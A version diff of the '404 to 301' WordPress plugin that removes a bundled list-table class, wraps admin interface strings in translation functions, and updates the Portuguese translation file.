808
- __( 'Previous page' ),
809
- '&lsaquo;'
810
- );
811
- }
812
-
813
- if ( 'bottom' === $which ) {
814
- $html_current_page = $current;
815
- $total_pages_before = '<span class="screen-reader-text">' . __( 'Current Page' ) . '</span><span id="table-paging" class="paging-input">';
816
- } else {
817
- $html_current_page = sprintf( "%s<input class='current-page' id='current-page-selector' type='text' name='paged' value='%s' size='%d' aria-describedby='table-paging' />",
818
- '<label for="current-page-selector" class="screen-reader-text">' . __( 'Current Page' ) . '</label>',
819
- $current,
820
- strlen( $total_pages )
821
- );
822
- }
823
- $html_total_pages = sprintf( "<span class='total-pages'>%s</span>", number_format_i18n( $total_pages ) );
824
- $page_links[] = $total_pages_before . sprintf( _x( '%1$s of %2$s', 'paging' ), $html_current_page, $html_total_pages ) . $total_pages_after;
825
-
826
- if ( $disable_next ) {
827
- $page_links[] = '<span class="tablenav-pages-navspan" aria-hidden="true">&rsaquo;</span>';
828
- } else {
829
- $page_links[] = sprintf( "<a class='next-page' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
830
- esc_url( add_query_arg( 'paged', min( $total_pages, $current+1 ), $current_url ) ),
831
- __( 'Next page' ),
832
- '&rsaquo;'
833
- );
834
- }
835
-
836
- if ( $disable_last ) {
837
- $page_links[] = '<span class="tablenav-pages-navspan" aria-hidden="true">&raquo;</span>';
838
- } else {
839
- $page_links[] = sprintf( "<a class='last-page' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
840
- esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ),
841
- __( 'Last page' ),
842
- '&raquo;'
843
- );
844
- }
845
-
846
- $pagination_links_class = 'pagination-links';
847
- if ( ! empty( $infinite_scroll ) ) {
848
- $pagination_links_class = ' hide-if-js';
849
- }
850
- $output .= "\n<span class='$pagination_links_class'>" . join( "\n", $page_links ) . '</span>';
851
-
852
- if ( $total_pages ) {
853
- $page_class = $total_pages < 2 ? ' one-page' : '';
854
- } else {
855
- $page_class = ' no-pages';
856
- }
857
- $this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>";
858
-
859
- echo $this->_pagination;
860
- }
861
-
862
- /**
863
- * Get a list of columns. The format is:
864
- * 'internal-name' => 'Title'
865
- *
866
- * @since 3.1.0
867
- * @access public
868
- * @abstract
869
- *
870
- * @return array
871
- */
872
- public function get_columns() {
873
- die( 'function WP_List_Table::get_columns() must be over-ridden in a sub-class.' );
874
- }
875
-
876
- /**
877
- * Get a list of sortable columns. The format is:
878
- * 'internal-name' => 'orderby'
879
- * or
880
- * 'internal-name' => array( 'orderby', true )
881
- *
882
- * The second format will make the initial sorting order be descending
883
- *
884
- * @since 3.1.0
885
- * @access protected
886
- *
887
- * @return array
888
- */
889
- protected function get_sortable_columns() {
890
- return array();
891
- }
892
-
893
- /**
894
- * Gets the name of the default primary column.
895
- *
896
- * @since 4.3.0
897
- * @access protected
898
- *
899
- * @return string Name of the default primary column, in this case, an empty string.
900
- */
901
- protected function get_default_primary_column_name() {
902
- $columns = $this->get_columns();
903
- $column = '';
904
-
905
- if ( empty( $columns ) ) {
906
- return $column;
907
- }
908
-
909
- // We need a primary defined so responsive views show something,
910
- // so let's fall back to the first non-checkbox column.
911
- foreach ( $columns as $col => $column_name ) {
912
- if ( 'cb' === $col ) {
913
- continue;
914
- }
915
-
916
- $column = $col;
917
- break;
918
- }
919
-
920
- return $column;
921
- }
922
-
923
- /**
924
- * Public wrapper for WP_List_Table::get_default_primary_column_name().
925
- *
926
- * @since 4.4.0
927
- * @access public
928
- *
929
- * @return string Name of the default primary column.
930
- */
931
- public function get_primary_column() {
932
- return $this->get_primary_column_name();
933
- }
934
-
935
- /**
936
- * Gets the name of the primary column.
937
- *
938
- * @since 4.3.0
939
- * @access protected
940
- *
941
- * @return string The name of the primary column.
942
- */
943
- protected function get_primary_column_name() {
944
- $columns = get_column_headers( $this->screen );
945
- $default = $this->get_default_primary_column_name();
946
-
947
- // If the primary column doesn't exist fall back to the
948
- // first non-checkbox column.
949
- if ( ! isset( $columns[ $default ] ) ) {
950
- $default = WP_List_Table::get_default_primary_column_name();
951
- }
952
-
953
- /**
954
- * Filter the name of the primary column for the current list table.
955
- *
956
- * @since 4.3.0
957
- *
958
- * @param string $default Column name default for the specific list table, e.g. 'name'.
959
- * @param string $context Screen ID for specific list table, e.g. 'plugins'.
960
- */
961
- $column = apply_filters( 'list_table_primary_column', $default, $this->screen->id );
962
-
963
- if ( empty( $column ) || ! isset( $columns[ $column ] ) ) {
964
- $column = $default;
965
- }
966
-
967
- return $column;
968
- }
969
-
970
- /**
971
- * Get a list of all, hidden and sortable columns, with filter applied
972
- *
973
- * @since 3.1.0
974
- * @access protected
975
- *
976
- * @return array
977
- */
978
- protected function get_column_info() {
979
- // $_column_headers is already set / cached
980
- if ( isset( $this->_column_headers ) && is_array( $this->_column_headers ) ) {
981
- // Back-compat for list tables that have been manually setting $_column_headers for horse reasons.
982
- // In 4.3, we added a fourth argument for primary column.
983
- $column_headers = array( array(), array(), array(), $this->get_primary_column_name() );
984
- foreach ( $this->_column_headers as $key => $value ) {
985
- $column_headers[ $key ] = $value;
986
- }
987
-
988
- return $column_headers;
989
- }
990
-
991
- $columns = get_column_headers( $this->screen );
992
- $hidden = get_hidden_columns( $this->screen );
993
-
994
- $sortable_columns = $this->get_sortable_columns();
995
- /**
996
- * Filter the list table sortable columns for a specific screen.
997
- *
998
- * The dynamic portion of the hook name, `$this->screen->id`, refers
999
- * to the ID of the current screen, usually a string.
1000
- *
1001
- * @since 3.5.0
1002
- *
1003
- * @param array $sortable_columns An array of sortable columns.
1004
- */
1005
- $_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns );
1006
-
1007
- $sortable = array();
1008
- foreach ( $_sortable as $id => $data ) {
1009
- if ( empty( $data ) )
1010
- continue;
1011
-
1012
- $data = (array) $data;
1013
- if ( !isset( $data[1] ) )
1014
- $data[1] = false;
1015
-
1016
- $sortable[$id] = $data;
1017
- }
1018
-
1019
- $primary = $this->get_primary_column_name();
1020
- $this->_column_headers = array( $columns, $hidden, $sortable, $primary );
1021
-
1022
- return $this->_column_headers;
1023
- }
1024
-
1025
- /**
1026
- * Return number of visible columns
1027
- *
1028
- * @since 3.1.0
1029
- * @access public
1030
- *
1031
- * @return int
1032
- */
1033
- public function get_column_count() {
1034
- list ( $columns, $hidden ) = $this->get_column_info();
1035
- $hidden = array_intersect( array_keys( $columns ), array_filter( $hidden ) );
1036
- return count( $columns ) - count( $hidden );
1037
- }
1038
-
1039
- /**
1040
- * Print column headers, accounting for hidden and sortable columns.
1041
- *
1042
- * @since 3.1.0
1043
- * @access public
1044
- *
1045
- * @staticvar int $cb_counter
1046
- *
1047
- * @param bool $with_id Whether to set the id attribute or not
1048
- */
1049
- public function print_column_headers( $with_id = true ) {
1050
- list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
1051
-
1052
- $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
1053
- $current_url = remove_query_arg( 'paged', $current_url );
1054
-
1055
- if ( isset( $_GET['orderby'] ) ) {
1056
- $current_orderby = $_GET['orderby'];
1057
- } else {
1058
- $current_orderby = '';
1059
- }
1060
-
1061
- if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
1062
- $current_order = 'desc';
1063
- } else {
1064
- $current_order = 'asc';
1065
- }
1066
-
1067
- if ( ! empty( $columns['cb'] ) ) {
1068
- static $cb_counter = 1;
1069
- $columns['cb'] = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . __( 'Select All' ) . '</label>'
1070
- . '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />';
1071
- $cb_counter++;
1072
- }
1073
-
1074
- foreach ( $columns as $column_key => $column_display_name ) {
1075
- $class = array( 'manage-column', "column-$column_key" );
1076
-
1077
- if ( in_array( $column_key, $hidden ) ) {
1078
- $class[] = 'hidden';
1079
- }
1080
-
1081
- if ( 'cb' === $column_key )
1082
- $class[] = 'check-column';
1083
- elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ) ) )
1084
- $class[] = 'num';
1085
-
1086
- if ( $column_key === $primary ) {
1087
- $class[] = 'column-primary';
1088
- }
1089
-
1090
- if ( isset( $sortable[$column_key] ) ) {
1091
- list( $orderby, $desc_first ) = $sortable[$column_key];
1092
-
1093
- if ( $current_orderby === $orderby ) {
1094
- $order = 'asc' === $current_order ? 'desc' : 'asc';
1095
- $class[] = 'sorted';
1096
- $class[] = $current_order;
1097
- } else {
1098
- $order = $desc_first ? 'desc' : 'asc';
1099
- $class[] = 'sortable';
1100
- $class[] = $desc_first ? 'asc' : 'desc';
1101
- }
1102
-
1103
- $column_display_name = '<a href="' . esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ) . '"><span>' . $column_display_name . '</span><span class="sorting-indicator"></span></a>';
1104
- }
1105
-
1106
- $tag = ( 'cb' === $column_key ) ? 'td' : 'th';
1107
- $scope = ( 'th' === $tag ) ? 'scope="col"' : '';
1108
- $id = $with_id ? "id='$column_key'" : '';
1109
-
1110
- if ( !empty( $class ) )
1111
- $class = "class='" . join( ' ', $class ) . "'";
1112
-
1113
- echo "<$tag $scope $id $class>$column_display_name</$tag>";
1114
- }
1115
- }
1116
-
1117
- /**
1118
- * Display the table
1119
- *
1120
- * @since 3.1.0
1121
- * @access public
1122
- */
1123
- public function display() {
1124
- $singular = $this->_args['singular'];
1125
-
1126
- $this->display_tablenav( 'top' );
1127
-
1128
- $this->screen->render_screen_reader_content( 'heading_list' );
1129
- ?>
1130
- <table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
1131
- <thead>
1132
- <tr>
1133
- <?php $this->print_column_headers(); ?>
1134
- </tr>
1135
- </thead>
1136
-
1137
- <tbody id="the-list"<?php
1138
- if ( $singular ) {
1139
- echo " data-wp-lists='list:$singular'";
1140
- } ?>>
1141
- <?php $this->display_rows_or_placeholder(); ?>
1142
- </tbody>
1143
-
1144
- <tfoot>
1145
- <tr>
1146
- <?php $this->print_column_headers( false ); ?>
1147
- </tr>
1148
- </tfoot>
1149
-
1150
- </table>
1151
- <?php
1152
- $this->display_tablenav( 'bottom' );
1153
- }
1154
-
1155
- /**
1156
- * Get a list of CSS classes for the list table table tag.
1157
- *
1158
- * @since 3.1.0
1159
- * @access protected
1160
- *
1161
- * @return array List of CSS classes for the table tag.
1162
- */
1163
- protected function get_table_classes() {
1164
- return array( 'widefat', 'fixed', 'striped', $this->_args['plural'] );
1165
- }
1166
-
1167
- /**
1168
- * Generate the table navigation above or below the table
1169
- *
1170
- * @since 3.1.0
1171
- * @access protected
1172
- * @param string $which
1173
- */
1174
- protected function display_tablenav( $which ) {
1175
- if ( 'top' === $which ) {
1176
- wp_nonce_field( 'bulk-' . $this->_args['plural'] );
1177
- }
1178
- ?>
1179
- <div class="tablenav <?php echo esc_attr( $which ); ?>">
1180
-
1181
- <?php if ( $this->has_items() ): ?>
1182
- <div class="alignleft actions bulkactions">
1183
- <?php $this->bulk_actions( $which ); ?>
1184
- </div>
1185
- <?php endif;
1186
- $this->extra_tablenav( $which );
1187
- $this->pagination( $which );
1188
- ?>
1189
-
1190
- <br class="clear" />
1191
- </div>
1192
- <?php
1193
- }
1194
-
1195
- /**
1196
- * Extra controls to be displayed between bulk actions and pagination
1197
- *
1198
- * @since 3.1.0
1199
- * @access protected
1200
- *
1201
- * @param string $which
1202
- */
1203
- protected function extra_tablenav( $which ) {}
1204
-
1205
- /**
1206
- * Generate the tbody element for the list table.
1207
- *
1208
- * @since 3.1.0
1209
- * @access public
1210
- */
1211
- public function display_rows_or_placeholder() {
1212
- if ( $this->has_items() ) {
1213
- $this->display_rows();
1214
- } else {
1215
- echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
1216
- $this->no_items();
1217
- echo '</td></tr>';
1218
- }
1219
- }
1220
-
1221
- /**
1222
- * Generate the table rows
1223
- *
1224
- * @since 3.1.0
1225
- * @access public
1226
- */
1227
- public function display_rows() {
1228
- foreach ( $this->items as $item )
1229
- $this->single_row( $item );
1230
- }
1231
-
1232
- /**
1233
- * Generates content for a single row of the table
1234
- *
1235
- * @since 3.1.0
1236
- * @access public
1237
- *
1238
- * @param object $item The current item
1239
- */
1240
- public function single_row( $item ) {
1241
- echo '<tr>';
1242
- $this->single_row_columns( $item );
1243
- echo '</tr>';
1244
- }
1245
-
1246
- /**
1247
- *
1248
- * @param object $item
1249
- * @param string $column_name
1250
- */
1251
- protected function column_default( $item, $column_name ) {}
1252
-
1253
- /**
1254
- *
1255
- * @param object $item
1256
- */
1257
- protected function column_cb( $item ) {}
1258
-
1259
- /**
1260
- * Generates the columns for a single row of the table
1261
- *
1262
- * @since 3.1.0
1263
- * @access protected
1264
- *
1265
- * @param object $item The current item
1266
- */
1267
- protected function single_row_columns( $item ) {
1268
- list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
1269
-
1270
- foreach ( $columns as $column_name => $column_display_name ) {
1271
- $classes = "$column_name column-$column_name";
1272
- if ( $primary === $column_name ) {
1273
- $classes .= ' has-row-actions column-primary';
1274
- }
1275
-
1276
- if ( in_array( $column_name, $hidden ) ) {
1277
- $classes .= ' hidden';
1278
- }
1279
-
1280
- // Comments column uses HTML in the display name with screen reader text.
1281
- // Instead of using esc_attr(), we strip tags to get closer to a user-friendly string.
1282
- $data = 'data-colname="' . wp_strip_all_tags( $column_display_name ) . '"';
1283
-
1284
- $attributes = "class='$classes' $data";
1285
-
1286
- if ( 'cb' === $column_name ) {
1287
- echo '<th scope="row" class="check-column">';
1288
- echo $this->column_cb( $item );
1289
- echo '</th>';
1290
- } elseif ( method_exists( $this, '_column_' . $column_name ) ) {
1291
- echo call_user_func(
1292
- array( $this, '_column_' . $column_name ),
1293
- $item,
1294
- $classes,
1295
- $data,
1296
- $primary
1297
- );
1298
- } elseif ( method_exists( $this, 'column_' . $column_name ) ) {
1299
- echo "<td $attributes>";
1300
- echo call_user_func( array( $this, 'column_' . $column_name ), $item );
1301
- echo $this->handle_row_actions( $item, $column_name, $primary );
1302
- echo "</td>";
1303
- } else {
1304
- echo "<td $attributes>";
1305
- echo $this->column_default( $item, $column_name );
1306
- echo $this->handle_row_actions( $item, $column_name, $primary );
1307
- echo "</td>";
1308
- }
1309
- }
1310
- }
1311
-
1312
- /**
1313
- * Generates and display row actions links for the list table.
1314
- *
1315
- * @since 4.3.0
1316
- * @access protected
1317
- *
1318
- * @param object $item The item being acted upon.
1319
- * @param string $column_name Current column name.
1320
- * @param string $primary Primary column name.
1321
- * @return string The row actions HTML, or an empty string if the current column is the primary column.
1322
- */
1323
- protected function handle_row_actions( $item, $column_name, $primary ) {
1324
- return $column_name === $primary ? '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __( 'Show more details' ) . '</span></button>' : '';
1325
- }
1326
-
1327
- /**
1328
- * Handle an incoming ajax request (called from admin-ajax.php)
1329
- *
1330
- * @since 3.1.0
1331
- * @access public
1332
- */
1333
- public function ajax_response() {
1334
- $this->prepare_items();
1335
-
1336
- ob_start();
1337
- if ( ! empty( $_REQUEST['no_placeholder'] ) ) {
1338
- $this->display_rows();
1339
- } else {
1340
- $this->display_rows_or_placeholder();
1341
- }
1342
-
1343
- $rows = ob_get_clean();
1344
-
1345
- $response = array( 'rows' => $rows );
1346
-
1347
- if ( isset( $this->_pagination_args['total_items'] ) ) {
1348
- $response['total_items_i18n'] = sprintf(
1349
- _n( '%s item', '%s items', $this->_pagination_args['total_items'] ),
1350
- number_format_i18n( $this->_pagination_args['total_items'] )
1351
- );
1352
- }
1353
- if ( isset( $this->_pagination_args['total_pages'] ) ) {
1354
- $response['total_pages'] = $this->_pagination_args['total_pages'];
1355
- $response['total_pages_i18n'] = number_format_i18n( $this->_pagination_args['total_pages'] );
1356
- }
1357
-
1358
- die( wp_json_encode( $response ) );
1359
- }
1360
-
1361
- /**
1362
- * Send required variables to JavaScript land
1363
- *
1364
- * @access public
1365
- */
1366
- public function _js_vars() {
1367
- $args = array(
1368
- 'class' => get_class( $this ),
1369
- 'screen' => array(
1370
- 'id' => $this->screen->id,
1371
- 'base' => $this->screen->base,
1372
- )
1373
- );
1374
-
1375
- printf( "<script type='text/javascript'>list_args = %s;</script>\n", wp_json_encode( $args ) );
1376
- }
1377
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
admin/js/admin.js CHANGED
@@ -47,7 +47,7 @@
47
 
48
  // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php
49
  $.post(ajaxurl, data, function(response) {
50
- tb_show("Redirect","#TB_inline?width=700&height=300&inlineId=i4t3-redirect-modal");
51
  $('#i4t3_redirect_404').val(response.url_404);
52
  $('#i4t3_redirect_404_text').html(response.url_404);
53
  $('#i4t3_redirect_url').val(response.url);
47
 
48
  // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php
49
  $.post(ajaxurl, data, function(response) {
50
+ tb_show(i4t3strings.redirect,"#TB_inline?width=700&height=300&inlineId=i4t3-redirect-modal");
51
  $('#i4t3_redirect_404').val(response.url_404);
52
  $('#i4t3_redirect_404_text').html(response.url_404);
53
  $('#i4t3_redirect_url').val(response.url);
admin/partials/404-to-301-admin-agreement-tab.php CHANGED
@@ -45,8 +45,8 @@
45
  </div>
46
 
47
  <div>
48
- <a class="button-primary" href="<?php echo I4T3_SETTINGS_PAGE; ?>&i4t3_agreement=1" id="i4t3-accept-terms">I accept</a>
49
- <a class="button-secondary" href="<?php echo I4T3_SETTINGS_PAGE; ?>&i4t3_agreement=0" id="i4t3-hide-admin-notice">I do not accept</a>
50
  </div>
51
  </span>
52
  </div>
45
  </div>
46
 
47
  <div>
48
+ <a class="button-primary" href="<?php echo I4T3_SETTINGS_PAGE; ?>&i4t3_agreement=1" id="i4t3-accept-terms"><?php _e('I accept', '404-to-301'); ?></a>
49
+ <a class="button-secondary" href="<?php echo I4T3_SETTINGS_PAGE; ?>&i4t3_agreement=0" id="i4t3-hide-admin-notice"><?php _e('I do not accept', '404-to-301'); ?></a>
50
  </div>
51
  </span>
52
  </div>
admin/partials/404-to-301-admin-credits-tab.php CHANGED
@@ -73,9 +73,9 @@ if( get_option( 'i4t3_agreement', 2 ) == 2 ) {
73
  </div>
74
  <div class="misc-pub-section">
75
  <?php if( get_option( 'i4t3_agreement', 2 ) == 1 ) { ?>
76
- <a class="button-secondary" href="<?php echo I4T3_HELP_PAGE; ?>&i4t3_agreement=0" id="i4t3-hide-admin-notice">Disable UAN</a>
77
  <?php } else { ?>
78
- <a class="button-primary" href="<?php echo I4T3_HELP_PAGE; ?>&i4t3_agreement=1" id="i4t3-accept-terms">Enable UAN</a>
79
  <?php } ?>
80
  </div>
81
  </div>
@@ -84,9 +84,9 @@ if( get_option( 'i4t3_agreement', 2 ) == 2 ) {
84
  <h3 class="hndle ui-sortable-handle"><span class="dashicons dashicons-admin-plugins"></span> <?php _e('Log Manager Addon', '404-to-301'); ?></h3>
85
  <div class="inside">
86
  <div class="misc-pub-section">
87
- <p><?php _e('Error Log Manager addon is available for 404 to 301 now. Make 404 error management more easy', '404-to-301'); ?>.</p>
88
- <p><span class="dashicons dashicons-backup"></span> <?php _e('Instead of email alerts on every error, get Hourly, Daily, Twice a day, Weekly, Twice a week email alerts', '404-to-301'); ?>.</p>
89
- <p><span class="dashicons dashicons-trash"></span> <?php _e('Automatically clear old error logs after few days to reduce db load', '404-to-301'); ?>.</p>
90
  <p><a class="i4t3-author-link" href="https://thefoxe.com/products/404-to-301-log-manager/" target="_blank"><span class="dashicons dashicons-external"></span> <?php _e('See More Details', '404-to-301'); ?></a></p>
91
  </div>
92
  </div>
73
  </div>
74
  <div class="misc-pub-section">
75
  <?php if( get_option( 'i4t3_agreement', 2 ) == 1 ) { ?>
76
+ <a class="button-secondary" href="<?php echo I4T3_HELP_PAGE; ?>&i4t3_agreement=0" id="i4t3-hide-admin-notice"><?php _e('Disable UAN', '404-to-301'); ?></a>
77
  <?php } else { ?>
78
+ <a class="button-primary" href="<?php echo I4T3_HELP_PAGE; ?>&i4t3_agreement=1" id="i4t3-accept-terms"><?php _e('Enable UAN', '404-to-301'); ?></a>
79
  <?php } ?>
80
  </div>
81
  </div>
84
  <h3 class="hndle ui-sortable-handle"><span class="dashicons dashicons-admin-plugins"></span> <?php _e('Log Manager Addon', '404-to-301'); ?></h3>
85
  <div class="inside">
86
  <div class="misc-pub-section">
87
+ <p><?php _e('Error Log Manager addon is available for 404 to 301 now. Make 404 error management more easy.', '404-to-301'); ?></p>
88
+ <p><span class="dashicons dashicons-backup"></span> <?php _e('Instead of email alerts on every error, get Hourly, Daily, Twice a day, Weekly, Twice a week email alerts.', '404-to-301'); ?></p>
89
+ <p><span class="dashicons dashicons-trash"></span> <?php _e('Automatically clear old error logs after few days to reduce db load.', '404-to-301'); ?></p>
90
  <p><a class="i4t3-author-link" href="https://thefoxe.com/products/404-to-301-log-manager/" target="_blank"><span class="dashicons dashicons-external"></span> <?php _e('See More Details', '404-to-301'); ?></a></p>
91
  </div>
92
  </div>
languages/404-to-301-pt_PT.mo CHANGED
Binary file
languages/404-to-301-pt_PT.po CHANGED
@@ -3,8 +3,8 @@
3
  msgid ""
4
  msgstr ""
5
  "Project-Id-Version: 404 to 301\n"
6
- "POT-Creation-Date: 2016-03-22 23:49+0000\n"
7
- "PO-Revision-Date: 2016-03-22 23:54+0000\n"
8
  "Last-Translator: Pedro Mendonça <ped.gaspar@gmail.com>\n"
9
  "Language-Team: Pedro Mendonça <ped.gaspar@gmail.com>\n"
10
  "Language: pt_PT\n"
@@ -12,147 +12,163 @@ msgstr ""
12
  "Content-Type: text/plain; charset=UTF-8\n"
13
  "Content-Transfer-Encoding: 8bit\n"
14
  "Plural-Forms: nplurals=2; plural=(n != 1);\n"
15
- "X-Generator: Poedit 1.8.7\n"
16
  "X-Poedit-SourceCharset: UTF-8\n"
17
  "X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;"
18
  "_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;"
19
  "esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c\n"
20
  "X-Poedit-Basepath: ..\n"
 
21
  "X-Poedit-SearchPath-0: .\n"
22
 
23
- #: admin/class-404-to-301-admin.php:168 admin/class-404-to-301-admin.php:169
24
- #: admin/class-404-to-301-admin.php:247 admin/class-404-to-301-logs.php:60
25
  msgid "404 Error Logs"
26
  msgstr "Registos de erros 404"
27
 
28
- #: admin/class-404-to-301-admin.php:182
29
  msgid "404 to 301 Settings"
30
  msgstr "Definições de 404 to 301"
31
 
32
- #: admin/class-404-to-301-admin.php:183
33
  msgid "404 Settings"
34
  msgstr "Definições de 404"
35
 
36
- #: admin/class-404-to-301-admin.php:215
37
  msgid "Error Logs"
38
  msgstr "Registos de erros"
39
 
40
- #: admin/class-404-to-301-admin.php:277
41
- #: admin/partials/404-to-301-admin-credits-tab.php:47
 
42
  msgid "404 to 301"
43
  msgstr "404 to 301"
44
 
45
- #: admin/class-404-to-301-admin.php:324
46
  msgid "Thank you for choosing 404 to 301 to improve your website"
47
  msgstr "Obrigado por escolher o 404 to 301 para optimizar o seu site"
48
 
49
- #: admin/class-404-to-301-admin.php:326
50
  #, php-format
51
  msgid "Kindly give this plugin a %srating%s"
52
  msgstr "Por favor, atribua a este plugin uma %sclassificação%s"
53
 
54
- #: admin/class-404-to-301-admin.php:345
55
  #: admin/partials/404-to-301-admin-display.php:27
56
  msgid "Settings"
57
  msgstr "Definições"
58
 
59
- #: admin/class-404-to-301-admin.php:346
60
  msgid "Logs"
61
  msgstr "Registos"
62
 
63
- #: admin/class-404-to-301-admin.php:375
64
  msgid "Settings Data"
65
  msgstr "Dados das definições"
66
 
67
- #: admin/class-404-to-301-admin.php:382
68
  msgid "Basic Details"
69
  msgstr "Detalhes básicos"
70
 
71
- #: admin/class-404-to-301-admin.php:383
72
  msgid "WordPress Version"
73
  msgstr "Versão do WordPress"
74
 
75
- #: admin/class-404-to-301-admin.php:384
76
  msgid "PHP Version"
77
